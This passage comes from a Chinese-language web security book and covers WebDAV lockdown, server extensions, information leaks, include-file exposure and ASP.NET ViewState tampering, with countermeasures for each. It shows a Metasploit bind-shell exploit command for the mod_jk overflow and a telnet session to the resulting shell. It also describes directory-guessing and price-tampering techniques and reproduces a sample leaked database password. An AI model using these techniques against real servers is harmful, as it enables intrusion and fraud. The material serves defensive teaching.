Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK

另一种方法是使用你的WebDAV客户端，可能你会觉得容易一些。如果你使用Windows，那么就已经有了一个WebDAV客户端。只要按照下面的步骤进行。

1.从Windows任务栏，选择开始|运行。输入上传的URL，如下图：

2.Windows将该网站当做UNC路径打开。拖放所需的文件：

如果你使用Unix或者Linux，可以下载简单的命令行客户端Cadaver。在本章结尾处的“参考与延伸阅读”小节中可以找到Cadaver的下载链接。

WebDAV创作对策

由于Microsoft的支持，广泛部署WebDAV已经成为现实。我们关于WebDAV的最极端建议是在生产Web服务器上禁用它。如果这样做不现实，可以选择在HTTP服务的单独实例中运行，加以严格的ACL和验证。你还可以限制服务器支持的方法类型；但是如果你打算使用WebDAV，可能希望创作者们可以使用全部方法。确定你信任你的作者们！

配置WebDAV可能很容易令人困惑，由于某种原因，它经常与标准的Web服务器扩展分开配置。我们接下来会列出在IIS和Apache上配置WebDAV的标准指令。记住：WebDAV有许多种实现；应该参考WebDAV软件提供上的文档来得到最佳的结果。

Apache上的安全WebDAV配置：在Apache上，WebDAV的控制很大程度上依赖所安装的具体DAV软件。下面的例子说明了如何在Apache配置文件（也就是httpd.conf）中添加例子中的内容，禁用mod_dav（链接参见“参考与延伸阅读”小节）实现上的特定WebDAV方法：

<Limit PROPFIND PROPPATCH LOCK UNLOCK MOVE COPY MKCOL PUT DELETE>
Order allow,deny
Deny from all
</Limit>
A better method is to use the Limit method to remove all but necessary methods:
<Directory /usr/local/apache/htdocs>
<Limit GET POST OPTIONS>
Order allow,deny
Allow from all
</Limit>
<LimitExcept GET POST OPTIONS>
Order deny,allow
Deny from all
</LimitExcept>
</Directory>

当然，你也可以确保在Apache配置文件（httpd.conf）文件的<Directory>或者<Location>指令中不出现“DAV On”，从而完全关闭WebDAV。默认情况下，WebDAV是关闭的，该行不会出现。

IIS上的安全WebDAV配置：在IIS5.x上，Microsoft的知识库文章241520描述了如何禁用WebDAV（链接参见“参考与延伸阅读”小节）。下面内容改编自KB 241520：

1.启动注册表编辑器（Regedt32.exe）。

2.找到如下键值并单击：

HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters

3.在“编辑”菜单上，右键单击“添加键值”，添加如下注册表键值：

Value name:DisableWebDAV

Data type:DWORD

Value data:1

4.重启IIS。这一修改在IIS服务或者服务器重启之后生效。

在IIS 6.0中，Microsoft最终做了正确的事情。首先，默认禁用WebDAV。其次，启用或者禁用WebDAV极其简单。你只要打开IIS管理界面（%systemroot%\system32\inetsrv\iis.msc），选择Web服务扩展，然后选择WebDAV并单击“禁止”按钮，如图8-1所示。

图8-1　在IIS 6中禁用WebDav

8.3　错误的配置

这一小节将介绍Web管理员和开发人员由于缺乏意识或者草率所引发的漏洞。

我们在本小节中讨论的一些配置问题通常归类为Web应用/网站管理人员见识上的问题，而另一些则是Web开发人员的责任。两者的界限可能有些模糊——因为Web开发与应用/网站本身的基本结构（例如，文件的放置和访问控制配置）关系紧密，Web开发和管理常常由同一个人负责，对于更大的商用网站，则是同一组织中工作关系密切的人。这种情况造成一种“冲突”效应，在网站/应用中始终存在着对安全工作的松懈。

此外，你所选择的Web平台可能对配置漏洞有很大的影响。我们将在这一小节中讨论ASP.NET ViewState方法的例子，阐述开发环境的选择可能给网站或者应用留下的该平台常见漏洞（尤其在使用默认配置时）。

我们将在本节中介绍如下类型的常见配置漏洞，而不管这些漏洞是由管理员或者开发人员还是其他角色带来的：

·不必要的Web服务器扩展

·信息泄露

·状态管理

8.3.1　不必要的Web服务器扩展

历史上最严重的一些Web平台攻击源于扩展基本Web服务器HTTP功能的附加程序中的软件缺陷。Web平台入侵的典范包括IISHack、.printer和.ida（红色代码蠕虫的基础）等IIS漏洞利用攻击。Apache也遇到类似的问题，比如mod_ssl催生了Slapper蠕虫，我们在第3章说明了对这些类型漏洞的利用。

你可能会说：“真可怕！但是这些难道不都是与软件缺陷相关的吗？和错误的配置有什么关系？”我们在讨论中包含这些问题的原因是为了强调我们所认为的Web平台部署中最关键也是最常见的漏洞之一：启用不恰当和没有必要的Web服务器扩展。Web服务器上这些扩展的可用性直接受Web服务器管理员的控制（即使软件提供商在默认情况下安装这些扩展！），因此在这里介绍。

Apache Tomcat Mod_JK.SO任意代码执行漏洞

我们将深入地研究历史，提供一个好的例子，阐述安装这样的扩展而没有合适维护时所可能发生的情况：Apache Tomcat Mod_JK.SO任意代码执行漏洞。

在2007年3月，Tipping Point的零日漏洞防御计划（Zero Day Initiative，ZDI）公布，在Apache Tomcat JK Web Server Connector中发现了基于栈的缓冲区溢出。这个连接器是用于连接Apache Tomcat servlet容器和Apache之类的Web服务器的一个Apache模块（mod_jk）。这个模块本质上是将Apache Web服务器接收到的HTTP请求转发给Tomcat servlet容器。

这个漏洞的出现是因为该连接器没有对入站URL进行正确的边界检查，使攻击者能够通过一个带有长URL的HTTP请求造成缓冲区溢出。和许多这类漏洞一样，互联网上很快充斥着公开的漏洞利用代码。大部分利用代码包括发送一个特别制作的缓冲区，利用漏洞并且执行代码在预先定义的端口上启动一个监听程序，在攻击者连接时发回一个外壳程序。攻击者所要做的就是运行这个利用程序，然后连接到于定义的端口。在下面的例子中，我们说明包含在Metasploit中的这种漏洞利用程序的用法：

auser@ubuntu$./msfcli windows/http/apache_modjk_overflow
payload=windows/shell_bind_tcp rhost=192.168.1.109 E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Trying target mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32
OS/language)...

执行利用程序之后，攻击者所需要做的是连接到目标需同的TCP 8888端口，获得对命令提示符的访问：

auser@ubuntu$telnet 192.168.1.109 8888
Trying 192.168.1.109...
Connected to 192.168.1.109.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
c:\program files\apache group\apache>

Web服务器扩展对策

我们希望这个小小的场景能够说明，对你的Web平台所能做的最关键的配置之一是禁用所有不是绝对必要的附加程序/扩展模块，保证必要的扩展打上了最新的安全补丁。管理员很少忘记更新Web服务器，但是常常忘记了扩展和模块的更新。IIS 6是最好的示范，曾经遭受附加扩展的各种问题的困扰，现在默认关闭所有扩展。如果Microsoft对禁用扩展的重要性表示同意，并且找到了一种禁用方式，能够不伤害他们销售额达到数十亿美元的绝妙软件特性，那么你也可以做到。下面是在最流行的Web服务器（本书编写的时候）——IIS和Apache上删除不必要的扩展映射的方法。

禁用IIS上的扩展：为了在IIS 5上禁用不需要的扩展：

1.打开IIS管理工具（从Windows菜单上运行iis.msc）。

2.右键单击希望管理的计算机，选择Properties（属性）|Master Properties（主属性）|WWW Service；然后点击Edit（编辑），选择Properties of the Default Web Site（默认网站属性）|Home Directory（主目录）|Application Settings（应用程序设置）|Configuration（配置）|App Mappings（应用程序映射）。

3.在最终的屏幕上，删除想要禁用的扩展的映射。图8-2显示选中了.printer到msw3prt.dll的映射。

图8-2　在IIS管理工具（iis.msc）中删除.printer扩展的映射

在IIS 6上，也使用IIS管理工具，但是要注意在这个版本中，Microsoft将扩展整理到“Web Service Extensions（Web服务扩展）”节点下。从这个屏幕，直接选择希望禁用的扩展，点击Prohibit（禁止）按钮。

在Apache中禁用模块：为了禁用Apache中的模块，在编译之前使用配置脚本，传入所有应该禁用的模块。特定版本的Apache中配置脚本的正确语法如下：

Apache 1.x: ./configure --disable-module=userdir
Apache 2.x: ./configure --disable-userdir

注意：这种方法用于删除Apache中的内建模块，不适用于动态模块。

8.3.2　引起信息泄露的错误配置

我们将要讨论的下一类常见配置问题相当广泛。这组问题可能泄露应用所有者不打算泄露的信息，常常被攻击者利用完成更有效的Web应用攻击。这些问题的根源不在于任何特定的Web服务器扩展或者附加模块，而来源于许多不同的配置参数，所以我们将其分组处理。这一小节我们所要讨论的漏洞包括：

·文件、路径和用户泄露

·状态页面信息泄露

·默认错误页面

文件、路径和用户泄露

网站信息泄露的常见根源之一是由于管理不善，服务器根目录上散布着零散的文件和其他可能提供信息的小部件。Web服务器和应用刚刚投产时，一切都很纯净——文件和文件夹结构是一致的。但是随着时间的推移，由于应用程序修改和升级以及配置的更改，Web根目录开始变得零乱。文件四处散放，文件夹和旧的应用被人遗忘。这些丢失和被遗忘的文件对于攻击者来说可能是有用的珍宝。你可以使用多种方法找到这些信息，接下来我们就此进行讨论。

HTML源代码：攻击者寻找的第一个位置常常是容易查看的Web应用/网页HTML源代码。HTML源代码可能在注释（寻找<!--标记）、包含文件（查找.inc文件扩展）等地方各种有趣的信息。

目录猜测：第一种方法最简单——用Web结构中常见的文件夹名称列表进行猜测。例如，我们知道许多网站有“admin”文件夹。所以简单地猜测并且请求“http://www.site.com/admin/”，攻击者可能很容易看到网站的管理界面。我们在表8-3中列出了文件和文件夹猜测生成的最常见HTTP响应码。

注意　关于HTTP状态码的信息的链接可以在本章结尾处的“参考与延伸阅读”小节中找到。

我们现在通过一个目录猜测攻击的步进式示例来说明一些关键点。我们首先用常见名“stats”发现目标的Web根目录下的一个文件夹。当我们尝试访问这个文件夹时，会看到一个友好的403 Forbidden响应：“Directory Listing Denied——This Virtual Directory does not allow content to be listed（目录列表被拒绝——这个虚拟目录不允许列出内容）”。

这个响应并不意味着该目录受到保护，只是我们无法查看其中的文件列表而已。因此，如果一个文件存在于这个目录下，我们仍然能够访问。我们所需要做的是一些基本的勘查和猜测。现在我们必须像网站的管理员一样思考。管理员会把什么内容放在“stats”目录中呢？是不是Web统计信息？进一步研究，我们在Google上输入inurl:/stats/+"index of"查询，找出其他网站放在“stats”目录中的常见文件。我们发现最常在这个目录下放置的文件是“stats.html”，这一点都不意外。发出对http://www.site.com/stats/stats.html的请求，我们获得成功的结果——该网站的Web统计信息。下一步是查看URL，看看能否找到有趣的东西。请求统计对攻击者可能没有多大吸引力，但是“stats”目录往往包含有潜在破坏性的信息，例如日志文件、凭据重置脚本、账户选项、配置工具等。OWASP的DirBuster是猜测目录和文件名的一种非常好的工具。

表8-3　常见HTTP响应代码

常见文件名猜测：我们前面已经提到过，网站管理员有在Web根目录上乱放文件（旧代码、过时文件和其他不应该在那里的东西）的坏名声。你应该利用这种惰性来获利。大部分管理员没有意识到这些文件可能像网站的其他文件一样下载。攻击者所需要知道的就是文件名称和所在的位置。这种攻击比你所想象的容易得多，理解Web服务器的攻击和防御同样重要。

图8-3　目录猜测攻击揭露了Web统计页面

注意　我们将在接下来的“包含文件泄露”小节中讨论IIS上包含文件的特殊情况。

例如，许多开发人员使用流行的源代码控制系统——并发版本系统（Concurrent Versions System，CVS）。这个软件让开发人员很轻松地管理多个在同一软件上协作的人。CVS将在整个文件夹结构中搜索源代码并且添加自己的/CVS/子文件夹。这个子文件夹包含三个文件——Entries、Repository和Root，CVS用它们控制目录中源代码的变化。CVS源代码树的例子如下：

/WebProject/
/WebProject/File1.jsp
/WebProject/File2.jsp
/WebProject/CVS/Entries
/WebProject/CVS/Repository
/WebProject/CVS/Root
/WebProject/Login/Login.jsp
/WebProject/Login/Fail.jsp
/WebProject/Login/CVS/Entries
/WebProject/Login/CVS/Repository
/WebProject/Login/CVS/Root

许多使用CVS进行Web开发的组织中都发生过这样的事情，应用一完成，开发人员或者Web管理员就将整个/WebProject/目录上传到Web服务器。现在所有CVS文件夹都存在于公共的Web根目录中，可以用http://www.site.com/CVS/Entries轻松地请求。这将会返回源代码控制下的文件夹中所有文件的列表，如图8-4所示。

图8-4　发现CVS Entries文件能够泄露许多关于Web应用的信息

另一个常见文件猜测目标是源于流行FTP客户端WS_FTP的使用。这个程序在每个文件上传的文件夹中留下一个名为WS_FTP.LOG的文件（例如，http://www.site.com/WS_FTP.LOG）。这个日志列出所有上传的文件。表8-4展示攻击者评估网站时查找的常见文件。记住，攻击者在他们的搜索中不会遗漏任何文件夹或者子文件夹！

表8-4　猜测攻击中常用的文件名

提示　对于表8-4中列出的许多文件名，简单地加上".old"、".backup"及/或".bak"，也可能泄露这些文件所存在的存档版本，例如global.asa.bak或global.asa.old。前面提到的OWASP DirBuster工具对使用常见文件名识别备份文件也很有用。

时光机方法（Wayback Machine Method）：网站和应用持续变化，它们常常对架构和设计进行完全的翻新。而且，根据网站的不同，开发人员可能使用两种方法来处理这种变化。他们或者同时开发新的网站，将整个软件包投产，或者用新开发的部件逐步升级网站的各个部分。往往，在新网站开始运作时，组织会将以前的代码移到备份位置而遗忘。这些旧代码的备份产生了一个严重的安全弱点。

让我们考虑一个公司从旧的ASP平台升级到ASP.NET的情况。使用ASP.NET，这个组织能够设计和构建一个更加健壮和安全的平台。他们采取了合适的措施，测试新应用的安全漏洞并且宣布它是完全纯净的。但是在升级到ASP.NET时，他们将整个旧的ASP应用转移到Web根文件夹“backup”中。这是个大错误。现在，黑客识别出这个文件夹，并且确定文件夹中有旧版本的网站。我们的黑客浏览http://web.archive.org（时光机），这个网站完整地维护着网站的可浏览存档，如图8-5所示。

图8-5　时光机

攻击者现在进入该网站的网址，浏览存档的网站，仔细地记录遇到的页面和表单名称。他发现一个表单似乎是动态的，列出了文章的内容：http://www.site.com/article.asp?id=121879。

具备了这些信息，攻击者返回到原来的网站，试图访问http://www.site.com/backup/article.asp页面。他的聪明得到了报酬。不仅找到了这个网页，而且仍然能从公司数据库提取数据。攻击者欣喜地发现旧的应用容易遭受SQL注入攻击，结果是，他现在能够通过备份内容访问数据库。成功识别旧网站内容的其他手段包括返回缓存网页的Google搜索。有时候，甚至使用网站自己的搜索引擎也会返回极其有用的旧文件。

用户枚举：默认情况下，Apache允许通过“~”语法识别用户主目录。因此，发送用户名请求如http://www.site.com/~root或http://www.site.com/~asimons，很容易识别有效的用户名。识别用户相当有用，例如发现系统存在一个Oracle用户，就可以引导攻击者转向某些有趣的Oracle漏洞利用程序。攻击者知道了后端上使用的数据库类型，检查SQL盲注入之类的漏洞就容易得多了。

注意　SQL注入和其他Web数据存储漏洞在第6章中讨论。

文件泄露对策

这个安全问题很容易弥补：只要保持网站目录（尤其是根目录（/））干净，并且实施适当的ACL就行了。一般来说，在Web根目录下的任何文件都可以被任何人访问，所以这是一个需要严格检查的位置。下面是其他一些措施：

·在独立的卷上部署Web根目录。这在IIS系统上特别重要。IIS历史上曾经遭受逃脱Web根目录的攻击，这种攻击通常进入%systemroot%，运行像Windows 32位命令外壳cmd.exe等有诱惑力的文件。

·将备份/存档/旧文件移到单独的文件夹，尽可能完全在网站/应用目录结构之外。如果因为某些原因做不到，对访问存储敏感文件的目录要求验证。

·不要为文件夹和文件取容易猜测的名称。例如，不要将数据目录命名为“data”。

·为了避免使用容易猜测的“~”语法进行的用户枚举，编辑Apache httpd.conf文件，确保UserDir设置为禁用（UserDir disabled）。

·用验证保护包含重要数据的文件夹。

避免文件泄露漏洞的最好方法可能是假定攻击者能够看到你的网站的整个目录结构，完全避免“不公开的安全性”。每当你发现自己有“没有人能够猜出我的文件在这里”的想法，请牢记：真的有人能猜出来。

状态页面信息泄露

Apache一度曾经有默认下可以访问的状态页面。这些页面提供服务器及其连接的有用信息的输出。现在，这些页面默认已经被禁用，但是许多部署仍然启用这一个功能。寻找状态页面非常简单，用下列请求就能在有漏洞的网站上找到它：

·http://www.site.com/server-info

·http://www.site.com/server-status

·http://www.site.com/status

下图是用上述的请求可能得到的服务器状态页面的一个例子：

状态页面信息泄露对策

和我们迄今为止讨论过的大部分Apache漏洞一样，修复这个问题很简单，只要编辑Apache服务器配置文件httpd.conf，添加如下配置就可以了：

<Location /server-info>
SetHandler server-info
Order deny,allow
Deny from all
Allow from yourcompany.com
</Location>
<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from yourcompany.com
</Location>

默认错误页面信息泄露

每当HTTP请求发送到Web服务器，Web服务器生成的响应中会返回HTTP状态。你可能见过的最常见的Web服务器返回状态码是404 Not Found。正如它的名称所代表的，这个响应是在HTTP客户端（例如浏览器）请求一个不存在的资源时收到的。下面的例子显示了对Apache服务器不存在的资源发起的一次手工请求，以及服务器返回的状态码：

telnet www.server.com 80
Trying www.server.com...
Connected to www.server.com.
Escape character is '^]'.
GET /thereisnosuchfile HTTP/1.0
HTTP/1.1 404 Not Found
Date: Thu, 18 Feb 2010 20:38:06 GMT
Server: Apache/2.2.12 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 290
Connection: close
Content-Type: text/html; charset=iso-8858-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /thereisnosuchfile was not found on this server.</p>
<hr>
<address>Apache/2.2.12 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>
Connection closed by foreign host.

如果你研究这里显示的响应，就会注意到Web服务器不仅返回404 Not Found HTTP状态码，而且返回让你知道所发生情况的默认网页，图8-6显示了浏览器中的这个网页。

图8-6　Apache默认的404 Not Found HTTP状态码网页

你还可能注意到了，默认网页显示了Web服务器版本（Apache/2.2.12）等信息。这种信息对于攻击者确定对服务器尝试什么攻击或者漏洞利用程序是有益的。

使用IIS和ASP.NET也会看到同样的场景。图8-7显示ASP.NET应用显示的“资源未找到”错误。服务器安装的.NET Framework的版本号显示在这个错误页面的底部。而且，如果应用抛出一个未处理的异常，错误页面将包含导致错误的代码的详细堆栈跟踪信息，例如导致错误的文件的完整路径。图8-8显示了一个带有栈跟踪信息的错误示例。

图8-7　ASP.NET的“资源未找到”错误信息

图8-8　ASP.NET的默认系统异常错误页面显示详细的栈跟踪信息，对攻击者可能有帮助

默认错误页面信息泄露对策

这个问题的解决方案非常简单：自定义Web服务器返回的错误页面。在Apache中，使用ErrorDocument指令指定错误代码和想要显示的信息来自定义错误页面。例如：

ErrorDocument 404 "Error"
ErrorDocument 403 http://server/error403.html

你可以指定一个硬编码的信息或者指向脚本或者静态HTML文件的URL。在任何情况下，关键的一点是在生产环境中显示尽可能少的关于错误原因的信息。

在IIS和ASP.NET，中，你可以使用应用的web.config文件中的<customErrors>元素自定义错误信息，例如：

<customErrors mode="On" defaultRedirect="error.html">
      <error statusCode="404" redirect="FileNotFound.html"/>
</customErrors>

<customErrors>元素有3个基本模式，可以通过mode属性配置：

·On指定启用自定义错误。如果没有指定defaultRedirect属性，用户会看到通用的错误。自定义错误向远程和本地主机用户显示。

·Off指定禁用自定义错误。详细的ASP.NET错误向远程和本地主机用户显示。

·RemoteOnly指定自定义错误仅向远程客户端显示，ASP.NET错误向本地主机用户显示。

默认值是RemoteOnly，在显示默认页面的时候不会向远程客户泄露版本信息或者栈跟踪信息。但是，Web开发人员在开发过程中常常把模式属性设置为Off，而在生产服务器上部署时忘记改回RemoteOnly或On指定自定义错误信息。你将在本章结尾处的“参考与延伸阅读”小节中找到更多关于<customErrors>元素和ErrorDocument指令的信息。

包含文件泄露

在IIS 5.x中，Web服务器默认将未知扩展名的普通文本文件返回给用户。例如，如果Web根目录下创建了一个名为test.ars的文件，从浏览器请求该文件时，将会出现一个下载提示。这是因为扩展名ARS不是已知的文件类型如ASP和HTML。这个似乎不显眼的默认设置可能导致严重的信息泄露。最常见的是下载所谓的包含（.inc）文件。

包含文件是什么？当开发人员进行ASP编码时，通常将常用的函数库放到包含文件中，这样他们可以有效地从网站/应用的其他部分调用这些函数。包含文件的位置常常可以在HTML源代码中或者通过前面讨论的文件/路径泄露漏洞中发现。下面是我们最近审计的一个网站的HTML源代码中的注释示例：

<!-- #include virtual ="/include/connections.inc" -->

掌握了路径和文件名，攻击者现在只要浏览http://www.site.com/include/connections.inc就可以请求包含文件。

瞧！响应包含了该文件的所有源代码，包括数据库用户名和密码！

<%
' FileName="Connection_ado_conn_string.htm"
' Type="ADO"
' DesigntimeType="ADO"
' HTTP="false"
' Catalog=""
' Schema=""
Dim MM_Connection_STRING
MM_Connection_STRING = "Driver={SQL Server};Server=SITE1;Database=
Customers;Uid=sa;Pwd=sp1Int3nze!*;"
%>

注意　这个Web服务器以sa用户登录，这是个坏习惯！

而且，攻击者还知道了这个应用/网站的包含文件目录，可以开始猜测其他敏感的包含文件，希望下载更加敏感的信息。

包含文件对策

有三种消除这一烦人问题的方法，评价分别是“好”、“较好”和“最好”。

好：将所有.inc文件移出Web应用/网站结构，使标准请求无法找到它们。这个解决方案对于大型的现有Web应用不可行，因为在应用代码中的所有路径名都需要修改，以反映新的文件位置。而且，这种方法不能预防以后人们由于懒惰或是缺乏意识，再次将.inc文件放在不合适的位置。

较好：将所有.inc文件改名为.inc.asp。这将强制.inc文件在ASP引擎中运行，客户端不能看到源代码。

最好：将.inc扩展名与asp.dll关联。这也将强制.inc文件在ASP引擎中运行，客户端不能看到源代码。这种对策比移动文件或者改名为.asp更好，因为任何不小心被命名为.inc的文件不会再成为问题——未来的懒惰或者缺乏认识都没有关系。

注意　Microsoft的ASP引擎过去曾经受到一些漏洞的折磨，导致某些文件类型的信息泄露。虽然这些问题很早以前就为Microsoft修复，但是你永远不知道，运行那些不是设计用来直接运行的代码会造成什么影响。值得注意的是，这个问题在IIS 6.0中已经得以修复；当你从IIS 6.0 Web服务器中请求带有未定义MIME类型扩展名的文件时，将会返回一个HTTP 404 File Not Found错误。

8.3.3　状态管理的错误配置

我们在第5章中专门讨论了会话管理攻击和对策，但是还为本小节保留了由于错误配置而产生的这种漏洞的一个简短例子。

破解ViewState

ViewState是一个ASP.NET方法，用于维护ASP.NET网页中所有项目的“状态”信息（更多关于ViewState信息的链接参见“参考与延伸阅读”）。在旧版本的ASP中，当Web表单提交到服务器时，所有表单值被清空。在ASP.NET中提交同样的表单时，表单的状态或者“ViewState”得到维护。我们都曾经碰到这种令人沮丧的情况：在完成和提交一个很长的申请表或者其他Web表单之后，接收到一个错误信息并且看到输入表单的所有信息消失。这一般是发生在某个域留空或者不符合应用程序期待的结构时。应用不能维持提交的表单的“状态”。ViewState的目标就是通过维护已提交到服务器的表单的内容来消除这个问题——如果发生了错误或者在一个表单里有预期之外的值，仅仅要求用户更正这部分信息，表单的其余部分保持不变。

ViewState还可以用于保存其他应用值的状态。许多开发人员将敏感信息和全部对象保存在ViewState中，但是如果ViewState遭到篡改，这种做法可能造成严重的安全问题。

Microsoft参考应用Duwamish 7.1（“参考与延伸阅读”中有这个应用的链接）中有这个问题的一个很好的例子。Duwamish Books是一个网上购书应用的示例。图8-9显示了Duwamish Books的基本外观。注意，《How to Win Friends and Influence People》这本书的售价为11.99美元。

图8-9　Microsoft的Duwamish示例Web应用

查看图8-10中该页面的源代码，可以看到单击“Add to Cart”按钮提交页面表单内容时，发送了一个隐藏的ViewState域。这个隐藏的ViewState域如图8-10中黑色部分所示。你可以看到，ViewState域的值经过了编码。尽管仅从该值上很难看出使用了什么编码算法，但是大部分Web技术使用Base64编码，所以可以假定这里也使用Base64。为了了解这个ViewState域的属性，我们让这个值通过一个Base64解码器。结果如图8-11所示。

图8-10　ViewState位于表单中的一个隐藏标记里

图8-11　Base64解码后的ViewState

关于图8-11中所示的解码后的ViewState值，有两点要注意：

·价格11.99美元保存在ViewState中。

·ViewState没有进行散列计算。你可以通过查看解码字符串的最后部分知道这一点，这里可以看到一个向右的尖括号（>）。经过散列计算的ViewState在字符串最后有如下形式的随机字节：<:Xy'y_w_Yy/FpP。

因为这个ViewState没有进行散列计算，对它的修改应该很容易被Web应用所接受。攻击者可以将价格从11.99美元改成0.99美元，然后将请求编码为Base64，提交给服务器。这样一个请求如图8-12所示。

图8-12　破解后发送给服务器的请求

这里看到的服务器响应，表示该书可以用攻击者设置的0.99美元的价格订购！

ViewState破解对策

首先，不要在ViewState中保存任何内容。让ViewState做自己的工作，不要打扰它。这是阻止攻击者用它对付用户最容易的方法。

Microsoft提供了为ViewState标记应用一个密钥Hash的功能。这个Hash在接收的时候检查，确保ViewState在传输中没有被修改。根据你的ASP.NET版本，这种ViewState完整性校验机制可能默认启用。如果没有启用，你可以在应用的Web.config文件中添加如下设置来启用完整性检查（粗体文本的内容启用ViewState完整性检查）：

<pages buffer="(true|false)" enableViewStateMac="true"/> <machineKey
validationKey="(minimum 40 char key)" decryptionKey=
"AutoGenerate" validation="SHA1"/>

密钥可以在Web.config中手工输入，或者将validationKey设置为AutoGenerate，自动生成密钥。如果你希望每个应用都有唯一的密钥，可以为validationKey值加上IsolateApps修饰符。web.config的<machineKey>元素的更多信息可以通过本章结尾处的“参考与延伸阅读”小节中的链接找到。

提示　如果你有一个服务器场，可能希望在所有服务器中设置相同的ViewState校验密钥，而不是让每个服务器自动生成（这会破坏你的应用）。

8.4　小结

本章讲述了大量实现远程Web服务管理和内容管理/创作的工具和服务。攻击者可以使用端口扫描，利用所有相关的弱点，很容易地识别所有这些界面，这些弱点包括著名的软件缺陷、弱（默认）密码，或者不合适的访问控制。因此，考虑远程管理并且确保它的安全对Web应用架构来说是适宜的。本章介绍了如下保证远程Web服务器管理的一般准则：

·验证所有远程管理访问；在合理的地方对远程管理使用多因素验证。

·确保使用强大的登录凭据。确保重新设置了厂商默认的密码！

·将远程管理限制在一个IP地址或者少数IP地址。

·使用能够对付窃听的安全通信协议（例如SSL、SSH）。

·将单个服务器作为多个服务器的远程管理终端，而不是在每个单独的Web服务器上部署管理服务。

和往常一样，还要小心地限制Web服务器可能用于访问内部网络的服务类型；记住，Web服务器可能在其工作周期的某些时刻遭遇严重的安全危害，如果Web服务器有10多个映射到内部分段文件服务器上的驱动器，那么你的内部网络也就遭到了侵害。考虑使用人工网络（Sneakernet，也就是从物理上将内容用移动媒体转移到隔离的DMZ分发服务器）更新Web服务器，保持它们与组织的其余部分物理隔离。

我们还讨论了常见的Web应用错误配置，不管这是管理员还是开发人员的过错（我们将这些错误与第3章中讨论的COTS组件错误区分开来）。我们认为最危险的错误配置之一是启用不必要的Web服务器扩展，因为这些模块长期以来曾经遭受过高冲击力的攻击。我们还示范了处理Web应用信息泄露常见根源的方法，这些根源包括HTML源代码、常见目录和文件名惯例、时光机、状态页面等互联网缓存。在开发人员的方面，我们指出包含文件是常见的信息泄露根源，并且介绍了利用隐藏表单域挫败Microsoft ASP.NET ViewState功能的一个例子。

希望这些例子能够阐明防止Web应用中最常见和毁灭性泄露的方法。

8.5　参考与延伸阅读

第9章　入侵Web客户端

迄今为止，我们已经关注了常见Web应用安全漏洞的识别、利用和缓解，并对服务器端的缺陷予以强调。但是在客户端又是什么情形呢？

历史上，Web应用的客户端安全曾经相对被忽视，主要是因为攻击者聚焦于大量的服务器端漏洞（这些漏洞通常将整个客户列表拱手交出）。随着服务器端安全的加强，攻击者开始转向下一个明显的攻击目标。

简单地看一眼现在的新闻提要，就能说明Web客户端安全已经成了巨大的灾害。仿冒（钓鱼）、恶意软件、间谍软件和广告软件这类的术语，过去绝对是学院派的词汇，现在则常常出现在主流媒体上。世界上最流行的Web客户端软件中的漏洞似乎永远没有减少。有组织的犯罪分子越来越多地利用Web客户端技术对在线客户和企业展开欺诈。专家们很迟才共同意识到，在互联网的另一端存在着至少和服务器端一样多的安全漏洞，而许多其他的因素使得客户端可能遭到攻击。

本章中将讨论这些因素和相关的漏洞。我们的讨论围绕Web客户端攻击的下列基本类型展开：

·漏洞利用：恶意的操作或者代码通过一个公开的漏洞在Web客户端及其宿主系统上运行。这些漏洞包括软件缺陷以及/或错误配置，导致意外的行为发生，例如获得系统控制或者拒绝服务。如果没有这些漏洞，这种方法对于攻击者来说明显要困难得多，他们通常会转向可靠的变通方法——社会工程（见下一条）。

·骗术：使用骗术导致Web客户端软件操作人员发送有价值的信息给攻击者，不管客户端有没有公开的漏洞都可用此法使用上当。攻击者用一些有吸引力的信息“挑逗”客户，而后客户（及/或操作人）直接将敏感信息发送给攻击者，或者安装攻击者提供的软件，这些软件用于从客户系统获取数据。

和往常一样，我们将讨论关键时刻的对策，在本章的最后进行总结。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

9.1　漏洞利用

这类攻击的基本前提是让Web客户执行攻击者所要求的代码，或者利用错误配置或设计缺陷，从漏洞中获利。从攻击者的角度上看，可执行内容有两个主要的注入点：

·实施中的漏洞

·设计缺陷

在进一步阅读关于本章介绍的漏洞利用之前，有一些问题需要留意。

攻击者总是必须让受害者查看包含漏洞利用代码的Web内容。过去最常见的方法是用电子邮件向受害者发送攻击者控制的一个URL。虽然现在仍然有这种现象，但是现代的Web2.0应用中兴起的用户生成内容（UGC）已经慢慢成为攻击者散布恶意软件的最重要方法之一。Google Trends显示，2004年以来最经常被搜索的词语是“歌词（Lyrics）”。攻击者利用恶意的搜索引擎优化（SEO）技术，将包含恶意软件的页面放置在Google常见词语和短句的搜索结果的最前面。这些技术导致了一些情况的发生，例如在2010年4月，标识为包含Lady Gaga歌词的网站被用于发起一种Java零日漏洞攻击，这种攻击通过路过式下载（Drive-by download）安装恶意软件。还有一个例子，在填写美国联邦所得税最后期限4月15日左右，网络犯罪集团确保Google查询“tax day freebies”（缴税日赠品）的第一个结果将受害者重定向到一个安装虚假的防病毒软件的网站。“参考与延伸阅读”中有一个这种攻击的演示视频供参考。和现实世界一样，虚拟世界中的罪犯也是机会主义者。

大部分这些漏洞的影响取决于受到攻击的Web客户端所运行的安全上下文。如果上下文是一个管理账户，那么通常能获得完全的系统控制。当然，侵害“普通”用户上下文也不会让攻击者失望，因为这个账户通常能够访问用户的私有数据。主要的浏览器供应商都试图解决这个漏洞，我们将在本章稍后的“低权限浏览”中介绍保护措施。

我们还要研究用户生成内容导致的以Web2.0设计为中心的网站上的新风险。我们将探索富互联网应用（RIA）带给客户浏览器的功能，以及利用这些应用漏洞的方法。最后，还将研究攻击者针对浏览器插件攻击的方法，以及这种攻击多于对传统浏览器缺陷的攻击的原因。

